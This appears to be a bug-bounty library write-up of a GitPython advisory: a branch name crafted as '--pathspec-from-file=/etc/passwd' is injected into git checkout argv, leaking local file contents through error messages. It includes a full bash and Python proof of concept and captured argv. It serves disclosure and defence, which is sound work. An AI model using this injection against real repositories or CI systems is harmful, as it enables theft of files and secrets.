# GitPython: arbitrary file read via attacker-controlled branch name in `Head.checkout()` (incomplete fix of CVE-2026-78679)

GitPython's Head.checkout() passes an attacker-controlled branch name as a positional to git checkout without a guard, leaking any readable file via --pathspec-from-file.

- Payout: Research
- Severity: high
- Program: GitPython
- Found by: 0xMax-Sec
- Disclosed: 2026-10-27
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-23mf-xhv8-69c2
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-23mf-xhv8-69c2
- Tags: area:oss domain:oss impact:data-leak kind:research platform:ghsa sev:high tech:python technique:incomplete-fix technique:source-review vuln:info-disclosure

**Target:** git/refs/head.py Head.checkout() in the GitPython library
**Root cause:** Head.checkout() calls Git._option_candidates([], kwargs), so the kwargs-only unsafe-option guard never inspects the branch name positional; the branch name reaches `git checkout` argv with no `--` separator and is interpreted as an option.
**Steps:**
1. Create a bare repo whose HEAD points at a branch named `--pathspec-from-file=/etc/passwd` via `git update-ref 'refs/heads/--pathspec-from-file=/etc/passwd' <sha>` and `git symbolic-ref HEAD 'refs/heads/--pathspec-from-file=/etc/passwd'`
2. Victim app runs `git.Repo.clone_from(user_url, path)` — clone materialises the hostile branch locally and `repo.active_branch.name` equals the payload
3. App calls `repo.active_branch.checkout()`, which builds argv `['git', 'checkout', '--pathspec-from-file=/etc/passwd']`
4. git emits one `error: pathspec '<line>' did not match` per line of the target file; the GitCommandError string carries the file contents back to the caller
**How found:** Noticed that commit f2550b65 fixed the positional variant in HEAD.reset (185 lines away, same file) but Head.checkout only got the kwargs guard; confirmed the asymmetry with a precision control showing HEAD.reset blocks the payload while Head.checkout leaks 34/34 lines of /etc/passwd.
**Exploitation:** Attacker hosts a repo with a hostile default branch name and gets a consumer (CI, importer, scanner) to clone it; the consumer's ordinary `repo.active_branch.checkout()` triggers the leak, and the file contents surface in the exception string via logging or an uncaught error.
**Insight:** When a project ships a kwargs-only unsafe-option guard, audit every sibling method in the same file for attacker-influenced positionals that reach argv without `--`; a fix applied to one call site often misses the adjacent one, and the project's own tests reveal which variant was never written.

## Proof of concept (copied exactly from the original report)

**Bash PoC creating hostile branch and cloning**

```
W=$(mktemp -d)
git init -q -b main "$W/a"; echo x > "$W/a/f.txt"
git -C "$W/a" add f.txt
git -C "$W/a" -c user.email=a@b -c user.name=a commit -qm c
git clone -q --bare "$W/a" "$W/a.git"
SHA=$(git -C "$W/a.git" rev-parse HEAD)

# the attacker names their default branch after the file they want
git -C "$W/a.git" update-ref   'refs/heads/--pathspec-from-file=/etc/passwd' "$SHA"
git -C "$W/a.git" symbolic-ref HEAD 'refs/heads/--pathspec-from-file=/etc/passwd'

cat > "$W/consumer.py" <<'PYEOF'
import logging, sys, git
logging.basicConfig(level=logging.INFO, format="%(message)s")
try:
    repo = git.Repo.clone_from(sys.argv[1], sys.argv[2])   # user-supplied URL
    repo.active_branch.checkout()                          # ensure a clean working tree
except git.exc.GitCommandError:
    logging.exception("clone failed")
PYEOF

/tmp/gp/bin/python "$W/consumer.py" "file://$W/a.git" "$W/victim"
```

**Captured real git checkout argv with injected option**

```
argv real : ['git', 'checkout', '--pathspec-from-file=/tmp/gpargv-9im8ao2d/SECRET.txt']
```

